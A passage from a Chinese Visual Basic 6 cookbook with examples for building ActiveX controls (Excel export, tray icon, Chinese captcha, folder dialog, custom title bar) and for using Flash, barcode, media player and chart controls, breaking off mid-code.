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	图13.2　SQL Server数据表内容
	图13.3　Excel数据表内容




关键技术

（1）创建Excel文件

创建Excel文件使用以下数据源连接串：



"DRIVER={Microsoft Excel Driver (*.xls)};DSN='';FIRSTROWHASNAMES=1;READONLY=FALSE;CREATE_DB=""" & filepath & """;DBQ=" & filepath




参数说明

❶FIRSTROWHASNAMES：是否允许第一行显示名称。

❷READONLY：是否只读。

❸CREATE_DB：创建Excel文件路径。

❹DBQ：打开Excel文件路径。

（2）Excel中表的创建

向Excel文件导出数据前首先需要创建数据表，创建的方法是使用CREATE TABLE语句，语法如下：



CREATE TABLE table_name (column_name data_type)




参数说明

❶table_name：新表的名称。

❷column_name：字段名称。

❸data_type：字段类型。

（3）将记录集中的记录导出到Excel表中

使用循环语句和SQL语言的INSERT语句，将记录集中每条记录插入到Excel表中，实现记录的导出。

INSERT语句的语法如下：



INSERT INTO tablename [(column_list)] VALUES (,...n)




参数说明

❶INTO：关键字，可以将它用在INSERT和目标表之间。

❷tablename：要接收数据的表的名称。

❸(column_list)：要在其中插入数据的一列或多列的列表。必须用括号将column_list括起来，并且用逗号进行分隔。

❹VALUES：引入要插入的数据值的列表。

设计过程

（1）新建ActiveX控件工程。

（2）将工程中自动生成的UserControl命名为ToExcel。

（3）添加一个ProgressBar控件，命名为ProgressBar1，用于显示数据导出的进度。ProgressBar1的Max属性为100，Min属性为0。

（4）添加一个CommonDialog控件，命名为Cdg，用于指定Excel文件名称。CommonDialog控件需要执行“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Common Dialog Control 6.0（SP6）复选框，并单击“确定”按钮。

（5）自定义函数FieldType，将字段数据类型值转换为类型名称，代码如下：



Private Function FieldType(intType)
   Select Case intType                                                '判断数据类型
      Case 20
         FieldType = "int"
      Case 128
         FieldType = "binary"
      Case 11
      '略
      Case 200
         FieldType = "varchar"
    End Select
End Function




创建Excel文件并创建数据表。创建数据表时根据记录集中字段的类型或长度选择相应的数据类型名称，使Excel文件中的表结构与记录集中各个字段相匹配，代码如下：



    Excel_Dsn = "DRIVER={Microsoft Excel Driver (*.xls)};DSN='';FIRSTROWHASNAMES=1;READONLY=FALSE;CREATE_DB=""" & filepath & """;DBQ=" & filepath
    Excel_Conn.Open Excel_Dsn
    With AdoRecordSet
        If Not (.EOF And .BOF) Then
            mySql = "Create Table [" & TableName & "] ("
            For i = 1 To .Fields.Count - 1
                TmpField = FieldType(.Fields(i).Type)
                If TmpField = "char" Or TmpField = "varchar" Or TmpField = "nchar" Or TmpField = "nvarchar" Or TmpField = "varbinary" Then
                    If .Fields(i).DefinedSize >= 256 Then
                        mySql = mySql & Trim(.Fields(i).Name) & " text,"
                    Else
                        mySql = mySql & Trim(.Fields(i).Name) & " " & FieldType(.Fields(i).Type) & "(" & .Fields(i).DefinedSize & ")" & ","
                    End If
                ElseIf TmpField <> "image" Then
                    mySql = mySql & Trim(.Fields(i).Name) & " " & FieldType(.Fields(i).Type) & ","
                End If
            Next
            mySql = Left(Trim(mySql), Len(Trim(mySql)) - 1)
            mySql = mySql & ")"
            '创建表名
            Excel_Adodc.Open mySql, Excel_Dsn, adOpenDynamic, adLockPessimistic




以循环的方式将记录集中逐条记录插入到Excel表中，代码如下：



For i = 0 To .RecordCount - 1
     mySql = "Insert into [" & TableName & "] Values("
     For j = 1 To .Fields.Count - 1
         TmpField = FieldType(.Fields(j).Type)
         If TmpField <> "image" Then
             If IsNull(.Fields(j).Value) Then
                 mySql = mySql & "NULL,"
             Else
                 If .Fields(j).Value = "True" Then
                     mySql = mySql & "'" & -1 & "',"
                 ElseIf .Fields(j).Value = "False" Then
                     mySql = mySql & "'" & 0 & "',"
                 Else
                     mySql = mySql & "'" & .Fields(j).Value & "',"
                 End If
             End If
         End If
     Next j
     mySql = Left(Trim(mySql), Len(Trim(mySql)) - 1)
     mySql = mySql & ")"
     Debug.Print mySql
     Excel_Adodc.Open mySql, Excel_Conn, adOpenDynamic, adLockPessimistic
     '略
Next i




秘笈心法

心法领悟417：获取字段的数据类型。

通过获取Field对象的Type属性值，并根据该值可以判断该字段的数据类型。



 实例418　程序托盘控件

光盘位置：光盘\MR\13\418

初级

趣味指数：[image: ]




实例说明

[image: ]
图13.4　托盘图标



当今很多的应用程序都提供了“托盘”，并显示在操作系统的任务栏中。通过对程序托盘的使用，可以很方便地调出弹出式菜单，并对程序的功能进行使用以及对相关配置的设置。本实例将制作程序托盘的相关API函数以及过程进行封装，并编译成为自定义控件。调用生成的自定义控件，对相关属性进行设置和方法的调用后，在任务栏中显示的托盘图标如图13.4所示。

关键技术

发送添加托盘图标消息通过使用API函数Shell_NotifyIcon实现。


说明：
 Shell_NotifyIcon函数的详细讲解请参见实例295中的关键技术。

设计过程

（1）新建ActiveX控件工程。

（2）将工程中自动生成的UserControl命名为TrayOCX。

（3）创建用于设置NOTIFYICONDATA结构成员的自定义过程，命名为AddIco。其具有两个形式参数，第一个参数用于传递调用自定义控件窗体的句柄，第二个参数用于传递图标的句柄，代码如下：



Private Sub AddIco(ByVal FrmHwnd As Long, ByVal IcoHwnd As Long)
    On Error GoTo 1
    With TheData
        .uID = 0
        .hWnd = FrmHwnd
        .cbSize = Len(TheData)
        .hIcon = IcoHwnd
        .uFlags = NIF_ICON + NIF_TIP + NIF_MESSAGE                        '图标有效、提示文字有效、响应消息有效
        .uCallbackMessage = WM_MOUSEMOVE                            '当鼠标移动时响应
    End With
1: End Sub





说明：
 上面代码中的TheData是NOTIFYICONDATA结构变量。

创建自定义过程，命名为AddTray。该过程中主要通过使用API函数Shell_NotifyIcon来发送添加托盘图标的消息，代码如下：



Public Sub AddTray()
    '保存变量以供其他处引用
    '装载新的窗口程序
    On Error GoTo 1
    AddIco UserControl.hWnd, Ico.Handle                                '调用自定义过程AddIco
    Shell_NotifyIcon NIM_ADD, TheData
    '略
    Exit Sub
1:    MsgBox "还没添加托盘图标"
End Sub





说明：
 上面代码中的常数NIM_ADD值为0。

秘笈心法

心法领悟418：获取鼠标消息值。

将NOTIFYICONDATA结构成员uCallbackMessage的值设置为WM_MOUSEMOVE后，UserControl的MouseMove可以用来截获鼠标的消息。根据MouseMove事件的形式参数X来获取消息值。但是，因为参数X是以缇为单位，所以需要将X除以Screen对象的TwipsPerPixelX属性值后才是真正与鼠标相关的消息值。



 实例419　验证码控件

光盘位置：光盘\MR\13\419

初级

趣味指数：[image: ]




实例说明

[image: ]
图13.5　中文验证码



应用程序采用验证码，通常应用于程序的登录窗体。登录窗体采用验证码的目的是防止被恶意扫描登录用户或密码。验证码的形式有很多种，如数字验证码、字母验证码、数字字母混合验证码、中文验证码等。上述验证码形式以中文验证码最为安全，本实例程序的登录界面即采用了中文验证码，运行效果如图13.5所示。

关键技术

（1）汉字国标码的随机生成

汉字国标码的随机生成的思路如下：

① 在一数组中保存字符0、1、2…E、F。

② 通过生成随机数，获取数组中某元素的内容，将任意4个字符进行组合，生成汉字国标码，并以两个字符串的形式保存。

③ 将生成的汉字国标码以两个字节进行保存，并保存到用于保存汉字国标码的数组中。

将以字符串形式表示的汉字国标码转换为字节类型，代码如下：



byte1 = Val("&HB0")
byte2 = Val("&HB2")




（2）将国标码转换为汉字

国标码以两个包含两个元素的字节类型数组表示，将其转换为汉字需要使用StrConv函数，语法如下：



StrConv(string, conversion, LCID)




参数说明

❶string：必选参数。要转换的字符串表达式。

❷conversion：必选参数，类型为Integer。其值的和决定转换的类型。

❸LCID：可选参数。如果与系统LocaleID不同，则为LocaleID（系统LocaleID为默认值）。

将国标码转换为汉字代码如下：



sMe = StrConv(barr, vbUnicode)                                        '根据系统的默认码页将字符串转成 Unicode




设计过程

（1）新建ActiveX控件工程。

（2）将工程中自动生成的UserControl命名为Code_Ocx。

（3）在Code_Ocx上添加一个PictureBox控件，并命名为Pic_Code。将Pic_Code的BorderStyle属性设置为1-Fixed Single，BackColor属性设置为&H80000005&。

（4）自定义函数CreateRegionCode，形式参数代表汉字的个数。在函数定义过程中根据操作系统已运行时间指定随机数生成器的种子，随机生成汉字国标码，函数返回值是保存国标码的数组，代码如下：



Private Function CreateRegionCode(ByVal strlength As Double) As Variant
    Dim rBase
    rBase = Array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f")
    Dim bytes()
    ReDim bytes(strlength - 1)
    Dim i As Double
    Do While (i < strlength)
        Dim r2 As Double
        Dim r4 As Double
        Dim r1 As Double
        r1 = Rnd(13 - 11) + 11                                        '11～13的随机数
        Dim str_r1 As String
        str_r1 = Trim(rBase(r1))
        Randomize (r1 * Timer + i)                                    '初始化随机数
        If (r1 = 13) Then
            r2 = Int(Rnd * 6)                                        '0～6随机数
        Else
            r2 = Int(Rnd * &HF)                                    '0～15随机数
        End If
        Dim str_r2 As String
        str_r2 = Trim(rBase(r2))
        Dim r3 As Double
        Randomize (r2 * Timer + i)
        r3 = Rnd * (&HF - 10) + 10                                    '10～15随机数
        Dim str_r3 As String
        str_r3 = Trim(rBase(r3))
        Randomize (r3 * Timer + i)                                    '初始化随机数
        Select Case r3
        Case 10
            r4 = Int(Rnd * (&HF - 1) + 1)                                '从1～15的随机数
        Case 15
            r4 = Int(Rnd * 14)                                        '从0～14的随机数
        Case Else
            r4 = Int(Rnd * &HF)                                    '从0～15的随机数
        End Select
        Dim str_r4 As String
        str_r4 = Trim(rBase(r4))
        Dim byte1 As Byte
        byte1 = Val("&H" & str_r1 & str_r2)
        byte2 = Val("&H" & str_r3 & str_r4)
        Dim str_r
        str_r = Array(byte1, byte2)
        bytes(i) = str_r
        i = i + 1
    Loop
    CreateRegionCode = bytes
End Function




自定义函数ToChinese用于将国标码转换为汉字。它的形式参数类型为变体，用于传递字节类型的数组参数，返回值为一个汉字，代码如下：



Private Function ToChinese(ByVal HexStr) As String
    On Error GoTo err2                                            '错误处理
    Dim barr(1) As Byte                                            '声明字节类型数组
    Dim sMe As String                                            '声明字符串类型变量
    barr(0) = HexStr(0)                                            '数组元素赋值
    barr(1) = HexStr(1)                                             '数组元素赋值
    sMe = StrConv(barr, vbUnicode)                                    '将字节数组转换为字符串
    ToChinese = sMe                                            '设置函数返回值
    Exit Function
err2:
    ToChinese = "明日科技"
End Function




自定义函数RndStr，用于生成4个汉字组成的字符串。在函数定义过程中调用CreateRegionCode函数和ToChinese函数生成汉字字符串。生成的字符串作为函数RndStr的返回值，代码如下：



Private Function RndStr() As String
    Dim bytes As Variant                                            '声明变体类型变量
    bytes = CreateRegionCode(4)                                        '数组传递
    Dim str1 As String                                            '声明字符串类型变量
    str1 = ToChinese(bytes(0))                                        '转换为汉字
 
    Dim str2 As String                                            '声明字符串类型变量
    str2 = ToChinese(bytes(1))                                         '转换为汉字
 
    Dim str3 As String                                            '声明字符串类型变量
    str3 = ToChinese(bytes(2))                                         '转换为汉字
 
    Dim str4 As String                                            '声明字符串类型变量
    str4 = ToChinese(bytes(3))                                         '转换为汉字
    Dim txt As String                                            '声明字符串类型变量
    RndStr = str1 & str2 & str3 & str4                                    '返回4个汉字
End Function




定义一个全局过程RefreshCode，用于绘制汉字验证码，代码如下：



Public Sub RefreshCode()
    Pic_Code.Cls                                                '清空图片框中图形
    Code = RndStr()                                            '生成验证码
    Pic_Code.Print Code                                            '显示验证码
    '略
End Sub




秘笈心法

心法领悟419：获取午夜开始到现在经过时间。

使用Timer函数可以获取从午夜开始到现在经过的时间，单位为秒。



 实例420　文件夹列表对话框控件

光盘位置：光盘\MR\13\420

初级

趣味指数：[image: ]




实例说明

在VB中常常通过使用CommonDialog控件来调用通用对话框。但是，使用该控件无法单独对文件夹进行选择，而必须选择文件。既然使用控件不行，那么就尝试使用API函数吧。幸好使用API函数确实能够实现。在这里笔者通过对本实例创建方法的讲述来传授创建“文件夹列表对话框”的方法。运行本实例程序，显示“浏览文件夹”对话框，如图13.6所示。选择某一文件夹后单击“确定”按钮，弹出对话框显示被选中文件夹的路径。
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图13.6　文件夹列表对话框

关键技术

显示文件夹列表对话框控件以及获取被选中的文件路径分别通过使用API函数SHBrowseForFolder、SHGetPathFromIDList实现。

（1）SHBrowseForFolder函数

该函数用于显示文件夹列表对话框，语法如下：



Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long




参数说明

lpBrowseInfo：指定带有对话框信息的lpBrowseInfo结构的地址。lpBrowseInfo结构如下：



Type BROWSEINFO
    hOwner As Long                                        '拥有对话框的窗体句柄
    pidlRoot As Long                                        '根列表项地址
    pszDisplayName As Long                                    '用于接收被选中文件夹名称的缓冲地址
    lpszTitle As Long                                        '对话框标题字符串地址
    ulFlags As Long                                        '用于指定对话框选项的标识符
    lpfn As Long                                            '用于响应事件的过程地址
    lParam As Long                                            '传递给回调过程的参数
    iImage As Long                                            '用于指定对话框图像的索引值
End Type




（2）SHGetPathFromIDList函数

该函数用于获取文件夹路径，语法如下：



Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long




参数说明

❶pidl：特殊目录在特殊目录列表中的地址，用于获取该目录的准确路径。

❷pszPath：字符串，用来保存返回的特殊目录的准确路径。

设计过程

（1）新建ActiveX控件工程。

（2）将工程中自动生成的UserControl命名为Folder_Dialog。

（3）将Folder_Dialog的ControlContainer属性设置为True。

（4）创建自定义函数ShowFolderList用于显示文件夹列表对话框，并返回被选中文件夹的路径，代码如下：



Public Function ShowFolderList() As String
    Dim lpIDList As Long                                            '声明长整型变量
    Dim sBuffer As String                                            '声明字符串类型变量
    Dim szTitle As String                                            '声明字符串类型变量
    Dim tBrowseInfo As BROWSEINFO                                '声明BROWSEINFO结构变量
    szTitle = Description                                            '传递对话框标题
    With tBrowseInfo                                            '复用语句
        .hOwner = GetParent(UserControl.hwnd)                            '获取调用控件窗体的句柄
        .lpszTitle = lstrcat(szTitle, "")                                    '设置对话框标题
        .ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN        '指定对话框类型
    End With
    lpIDList = SHBrowseForFolder(tBrowseInfo)                            '显示文件夹列表框
    If lpIDList > 0 Then                                            '当成功显示文件夹对话框
        sBuffer = Space(MAX_PATH)                                    '生成指定长度的空格
        SHGetPathFromIDList lpIDList, sBuffer                            '获取文件夹路径
        sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)                    '过滤多余字符
        If Right(Trim$(sBuffer), 1) <> "\" Then                            '如果路径最后一字符不为“\”
            ShowFolderList = Trim(sBuffer) & "\"                            '过滤两端空格
        Else                                                    '如果路径最后一字符为“\”
            ShowFolderList = Trim(sBuffer)                                '过滤两端空格
        End If
    End If
End Function




秘笈心法

心法领悟420：获取控件所属容器的句柄。

使用API函数GetParent根据控件的句柄可以获取到控件所属窗体的句柄。



 实例421　自定义标题栏控件

光盘位置：光盘\MR\13\421

初级

趣味指数：[image: ]




实例说明

如今，为了使应用程序界面的美化，有很多应用程序的标题栏是自定义的。大家都知道，一般来说，应用程序的标题栏的风格是随着操作系统的外观样式而改变的。当今的主流操作系统的外观样式都非常漂亮，程序的标题栏自然也很漂亮。但是，仍然有人在使用比较老的操作系统，如Windows 98、Windows 2000等。在这些操作系统中默认的标题栏是非常古板的，毫无美感。为了使在较老的操作系统中运行的应用程序的界面也具有美感，就需要自定义标题栏。例如，图13.7中的标题栏就是自定义的。接下来向大家介绍自定义标题栏的方法。

[image: ]
图13.7　使用自定义标题栏的程序界面



关键技术

（1）创建标题栏“圆角”

标题栏的背景由3个部分组成，分别是左端图片、中端图片、右端图片。图片的传递是通过属性过程中StdPicture类型的形式参数传递的。例如下面的代码用于设置左端背景属性。



Property Set LeftP(ByVal MyPic As StdPicture)                                '左端背景属性设置过程
    On Error Resume Next                                            '错误处理
    Set Img_Left.Picture = MyPic                                        '设置左端背景
    UserControl_Resize                                            '调用Resize事件过程
End Property
Property Get LeftP() As StdPicture                                        '左端背景属性获取过程
    On Error Resume Next                                            '错误处理
    Set LeftP = Img_Left.Picture                                        '设置过程返回对象
End Property





说明：
 标题栏左右两端的圆角，是通过将背景中指定颜色“剔除”实现的。可以参考实例“透明窗体类库”中的介绍以及实例源码。

（2）拖拽无标题栏窗口

因为要使用自定义标题栏控件，所以需要将窗口本身的标题栏隐藏掉。因此就出现了一个问题，这个问题就是隐藏了标题栏的窗口，无法通过拖拽的方式调整程序窗口在屏幕中的位置。为了解决这一问题，需要在自定义控件中实现拖拽无标题栏窗口的功能。

无标题栏窗口拖拽的效果是通过使用API函数SendMessage发送消息实现的。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

在所示的4个参数中需要着重关注的是wMsg、wParam这两个参数。在这里需要将参数wMsg设置为常数WM_NCLBUTTONDOWN，将wParam参数设置为常数HTCAPTION。上述的两个常数都具有其特定的含义。

❶WM_NCLBUTTONDOWN：值为&HA1，代表消息是用户按住鼠标左键并且鼠标指针位于非客户区域时发出的。

❷HTCAPTION：代表热区位于标题栏内。

例如，在窗体的MouseDown事件中向窗体发送消息，代码如下：



Private Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
    If Button = 1 Then                                                '当单击鼠标左键
        Dim ReturnVal As Long                                            '声明长整型
        x = ReleaseCapture()                                            '为当前的应用程序释放鼠标捕获
        '发送模拟拖拽标题栏的消息
        ReturnVal = SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




设计过程

（1）新建ActiveX控件工程。

（2）将工程中自动生成的UserControl命名为titlebar。

（3）将Folder_Dialog的ControlContainer属性设置为True。

（4）在Folder_Dialog中添加5个控件，其中4个Image控件，一个Label控件。Image控件的名称分别为：Image1、Img_ico、Img_left、Img_right，Label控件的名称为Label1。

（5）添加一个标准模块，采用默认的名称。

（6）在UserControl的Resize事件中，对Image控件的位置以及Image控件和自定义控件的高度进行调整，代码如下：



Private Sub UserControl_Resize()
    On Error Resume Next
    Img_right.Left = UserControl.ScaleWidth - Img_right.Width
    Image1.Left = Img_Left.Left + Img_Left.Width
    Image1.Width = UserControl.ScaleWidth - Img_Left.Width - Img_Left.Left - Img_right.Width
    Image1.Height = Img_Left.Height
    UserControl.Height = Img_Left.Height
    Img_ico.ZOrder 0
End Sub




创建自定义过程moveform，用于实现拖拽无标题栏窗口的效果。这个自定义过程具有两个形式参数，分别用于指定自定义所属窗体的句柄、用于判断单击的是否为鼠标左键，代码如下：



Public Sub moveform(hwnd As Long, Button As Integer)
    Dim ReturnVal
    If Button = 1 Then
        X = ReleaseCapture()
        ReturnVal = SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




创建自定义过程，用于“剔除”背景中指定的颜色，标题栏的“圆角”。这个过程具有两个形式参数，分别用于指定自定义控件所属窗体的句柄和被剔除的颜色，代码如下：



Public Sub transparence(ByVal hwnd As Long, ByVal TransColor As Long)
    Dim rtn As Long
    rtn = GetWindowLong(hwnd, GWL_EXSTYLE)
    rtn = rtn Or WS_EX_LAYERED
    SetWindowLong hwnd, GWL_EXSTYLE, rtn
    SetLayeredWindowAttributes hwnd, TransColor, 0, LWA_COLORKEY    'LWA_ALPHA
End Sub




秘笈心法

心法领悟421：“剔除”颜色的选择。

所谓“剔除”颜色就是指将指定的颜色设置为透明。为了防止窗体内的文字颜色或背景颜色误被“剔除”，尽量选择比较特殊的颜色作为左端图片、右端图片的背景颜色。


 13.2　第三方控件及类库的使用



 实例422　使用ShockwaveFlash控件播放动画

光盘位置：光盘\MR\13\422

初级

趣味指数：[image: ]




实例说明

ShockwaveFlash是Macromedia公司提供的用于播放Flash动画的控件。在VB编写的程序中通过使用该控件不但可以实现Flash播放的功能，而且起到了美化程序界面的作用。例如，运行本实例的应用程序，播放透明动画的效果如图13.8所示。

[image: ]
图13.8　Flash动画播放效果



关键技术

ShockwaveFlash使用非常方便，在通常的情况下，只需要设置几个属性即可满足基本的动画播放需求。接下来对这几个属性进行介绍。


	Movie（读写）



该属性用于指定播放动画的路径，语法如下：



Movie As String





说明：
 要播放的影片路径（URL）。设置该属性为一个SWF文件的URL将载入文件并播放它。若影片是在本地硬盘上，要写成从盘符开始的绝对路径；若影片是在某网站上，也要写全URL地址。

例如：



movie.Movie = "http://xxxxxxx/filename.swf"




或



movie.Movie = "c:\temp\test.swf"





	Loop（读写）



语法如下：



Loop As Boolean





说明：
 是否循环播放。设为True是循环播放，设为False则只播放一次。

例如：



movie.Loop = True





	WMode（读写）



语法如下：



WMode As String





说明：
 控件的窗口模式。WMode可以取：

（1）Window：WMode属性的默认值，按Flash播放器典型的方式工作，即在控件的矩形窗口中播放影片，这样一般都能提供最快的动画效果。

（2）Opaque：使影片不透明。Transparent：创建一个透明的影片。如果影片中有透明的片段，播放到这里时，就可以看到控件下面的背景。但使用此属性值，动画的播放速度可能会慢一些。

例如：



movie.WMode = "Transparent"




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加ShockwaveFlash控件。

（3）在窗体的加载事件中主要通过设置ShockwaveFlash控件的Movie属性，指定动画文件路径，代码如下：



Private Sub Form_Load()
    ShockwaveFlash1.WMode = "Transparent"                                '播放透明背景动画
    ShockwaveFlash1.Movie = App.Path & "\swf\heart.swf"                        '加载动画
    ShockwaveFlash1.Width = Me.Width                                '设置控件宽度
    ShockwaveFlash1.Height = Me.Height                                '设置控件高度
    ShockwaveFlash1.Loop=True                                        '运行循环播放
End Sub




秘笈心法

心法领悟422：在屏幕上播放透明的Flash动画。

在屏幕上播放透明的Flash动画除了需要将ShockwaveFlash控件的WMode属性设置为Transparent外，还需要将ShockwaveFlash控件所在的窗体设置为完全透明，透明窗体的实现请参考“透明窗体类库”。



 实例423　使用BarCodeCtrl控件生成条形码

光盘位置：光盘\MR\13\423

初级

趣味指数：[image: ]




实例说明

BarCodeCtrl控件是Microsoft Office提供的，通过对它的使用可以很方便地生成条形码。当然条形码中显示的数值以及条形码的宽度是由属性值的设置实现的。例如，运行本实例程序，显示生成的条形码效果如图13.9所示。

[image: ]
图13.9　使用BarCodeCtrl控件生成条形码



关键技术

BarCodeCtrl控件功能的实现基本是依靠属性的设置来实现的。控件的属性如表13.2所示。

表13.2　BarCodeCtrl控件的属性说明



	属性
	说明



	Style
	指定条形码符号的样式



	SubStyle
	指定更详细的样式



	Validation
	指定是否要验证数据的有效性



	LineWeight
	指定条形码符号的线条粗细



	Direction
	指定条形码的显示方向



	ShowData
	指定是否要显示数据数值



	ForeColor
	指定条形码符号的前景颜色



	BackColor
	指定条形码符号的背景颜色



	Value
	指定所产生的条形码符号的值




在上述属性中最关键的是Value属性，它直接关系到条码的显示。

例如，设置Value属性指定在BarCodeCtrl控件中显示的数值以及条形码的宽度，代码如下：



BarCodeCtrl1.Value = "4901234567895"




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加Microsoft Access BarCode Control X.X控件（X.X代表版本号）。

（3）向窗体上添加一个BarCodeCtrl控件。

（4）制作一个简单的显示条形码的程序，代码如下：



Private Sub Form_Load()
    BarCodeCtrl1.BackColor = vbWhite                            '条码背景颜色为白色
    BarCodeCtrl1.Value = "4901234567895"                        '设置数值
End Sub




秘笈心法

心法领悟423：指定条形码的样式。

通过设置BarCodeCtrl控件Style属性可以指定条形码的样式，设置SubStyle属性可以指定更详细的样式。



 实例424　使用WindowsMediaPlayer控件播放视频

光盘位置：光盘\MR\13\424

初级

趣味指数：[image: ]




实例说明

WindowsMediaPlayer控件是微软的媒体播放器Windows Media Player提供的。通过对该控件的使用，无论是编程老手还是初学者，都可以迅速地使自己的程序具有多媒体播放的功能。例如，在VB中使用该控件对AVI视频文件进行播放，运行效果如图13.10所示。

[image: ]
图13.10　使用WindowsMediaPlayer控件播放视频



关键技术

因为WindowsMediaPlayer控件是用来播放多媒体文件的，所以该控件的属性以及控制方法比较多。接下来将对常用的属性以及方法进行介绍。

首先来看一下该控件的基本属性，通过这些属性的设置可以指定媒体位置以及播放器的外观设置等，具体说明如表13.3所示。

表13.3　WindowsMediaPlayer控件基本属性及说明



	属性
	类型
	说明



	URL
	String
	指定媒体位置，本机或网络地址



	uiMode
	String
	播放器界面模式，可为Full，Mini，None，Invisible



	playState
	Integer
	播放状态，1=停止，2=暂停，3=播放，6=正在缓冲，9=正在连接，10=准备就绪



	enableContextMenu
	Boolean
	启用/禁用右键菜单



	fullScreen
	Boolean
	是否全屏显示




表13.3中的URL属性是最基本的，对其进行设置是进行媒体文件播放的前提。例如，下面代码指定媒体位置为C盘根目录下的video.avi。



WindowsMediaPlayer1.URL = "c:\video.avi"




既然WindowsMediaPlayer控件是用来播放多媒体文件的，那么播放控制是必不可少的功能。控制功能的实现是通过使用WindowsMediaPlayer控件的controls集合中的方法实现的，具体说明如表13.4所示。

表13.4　WindowsMediaPlayer控件播放控制方法及说明



	方法
	说明



	controls.play
	播放



	controls.pause
	暂停



	controls.stop
	停止



	controls.fastForward
	快进



	controls.fastReverse
	快退



	controls.next
	下一曲



	controls.previous
	上一曲




表13.4中的方法可以对播放状态进行更改。例如，暂停播放的代码如下：



WindowsMediaPlayer1.Controls.pause




除了之前介绍的几个控件基本属性外，还有几个重要的属性，这几个属性直接关系到播放器的基本设置。播放器的基本设置是通过设置WindowsMediaPlayer控件的settings集合中的属性实现的，具体说明如表13.5所示。

表13.5　WindowsMediaPlayer控件重要属性及说明



	属性
	类型
	说明



	settings.volume
	Integer
	音量，0～100



	settings.autoStart
	Boolean
	是否自动播放



	settings.mute
	Boolean
	是否静音



	settings.playCount
	Integer
	播放次数




在与播放器基本设置相关的属性中最基本的莫过于用于调整音量的volume属性了。例如，将音量设置为最大，代码如下：



WindowsMediaPlayer1.settings.volume = 100




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加WindowsMediaPlayer控件。

（3）向窗体上添加一个WindowsMediaPlayer控件。

（4）制作一个简单的多媒体播放器，代码如下：



Private Sub Form_Load()
    WindowsMediaPlayer1.URL = Txt_FilePath.Text                '文本框控件Txt_FilePath用于保存媒体位置
End Sub




秘笈心法

心法领悟424：多媒体文件是否自动播放。

将settings集合中的autoStart属性设置为False可以禁止自动播放，如果设置为True就表示可以自动播放。



 实例425　使用SimpleChart控件生成图表

光盘位置：光盘\MR\13\425

初级

趣味指数：[image: ]




实例说明

SimpleChart是一个第三方的图表控件，通过对它的使用可以创建出非常漂亮的图表。大家都知道VB开发环境提供了MsChart的图表控件，它和SimpleChart比起来简直是天壤之别。接下来一起见识一下SimpleChart的“威力”吧。使用SimpleChart可以制作出柱形图和饼型图，首先来看一下最常见的柱形图，如图13.11所示。细心的读者可以看出这个图是半透明的，在程序中显示的效果非常漂亮。再来看一下饼形图，效果如图13.12所示。笔者本人非常喜欢图中的“爆裂”效果。



	[image: ]
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	图13.11　柱形图效果
	图13.12　饼形图效果




关键技术

（1）添加数据系列

在一个AxisChart控件中可以添加多个数据系列。添加数据系列由DataSeries集合的AddBarSeries方法实现，语法如下：



object.DataSeries.AddBarSeries seriesName, seriesFillStyle, [seriesFillColor1], [seriesFillColor2], [seriesFillImage]




AddBarSeries方法的参数说明如表13.6所示。

表13.6　AddBarSeries方法的参数说明



	参数
	说明



	object
	AxisChart控件名称



	seriesName
	数据系列的名称



	seriesFillStyle
	填充样式，样式以从0～6的常数表示



	seriesFillColor1
	可选参数。数据系列的实心颜色或起始刻度的颜色



	seriesFillColor2
	可选参数。数据系列的终点刻度的颜色



	seriesFillImage
	可选参数。数据系列的背景图像




（2）添加数据项目

添加数据系列以后，需要在指定的数据系列内部添加数据项。添加数据项是由DataSeries集合的Add方法实现的。Add方法的语法如下：



AxisChart.DataSeries.Add seriesName, seriesType, seriesFillStyle, seriesLineStyle, [seriesFillColor1], [seriesFillColor2], [seriesFillImage], [seriesLineColor], [seriesLineThickness]




或



AxisChart.DataSeries(x).SeriesData.Add ItemName, ItemValue, [ShowValue], [Hidden], [ImageMapURL]




因为饼形图控件PieChart中的数据项的添加也是使用Add方法实现的，所以在这里也对其方法进行介绍，语法如下：



PieChart.ChartData.Add ItemName, ItemValue, FillStyle, [Hidden], [Exploded], [ItemFillColor1], [ItemFillColor2], [ItemFillImage], [ImageMapURL]




Add方法的参数说明如表13.7所示。

表13.7　AxisChart.DataSeries.Add、PieChart.ChartData.Add参数及说明



	参数
	说明



	ItemName, seriesName
	分别表示数据项名称、数据系列名称



	ItemValue
	数据项的值



	FillStyle, seriesFillStyle
	数据项填充样式，以及数据系列填充样式



	ShowValue
	可选参数，是否显示数据项数值



	Hidden
	可选参数，用来指示是否隐藏指定的数据项



	Exploded
	可选参数，用来指示是否将指定的扇区从中心“爆裂”



	ItemFillColor1, seriesFillColor1
	可选参数，分别用来表示数据项填充颜色、数据系列初始刻度的颜色



	ItemFillColor2, seriesFillColor2
	可选参数，数据系列的终点刻度的颜色



	ImageMapURL
	可选参数，当单击列表项时被调用的URL地址



	ItemLabel
	列表项的标签



	ItemLineColor, seriesLineColor
	线颜色



	ItemLineStyle, seriesLineStyle
	线样式



	ItemLineThickness, seriesLineThickness
	线的宽度，以像素为单位



	seriesType
	数据系列类型




设计过程

1．创建柱形图

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加SimpleChart Toolkit X.X控件（X.X代表版本号）。

（3）向窗体上添加一个AxisChart控件，命名为AxisChart1。

（4）在窗体的Load事件中加入添加数据系列以及数据项的代码，代码如下：



Private Sub Form_Load()
    '添加名称为2000的，样式为背景自动填充的数据系列
    AxisChart1.DataSeries.AddBarSeries "2000", scFillModeAutoSolid
    AxisChart1.DataSeries(1).SeriesData.Add "Q1", 600        '添加系列2000内的名称为Q1，值为600的数据项
    AxisChart1.DataSeries(1).SeriesData.Add "Q2", 745        '添加系列2000内的名称为Q2，值为745的数据项
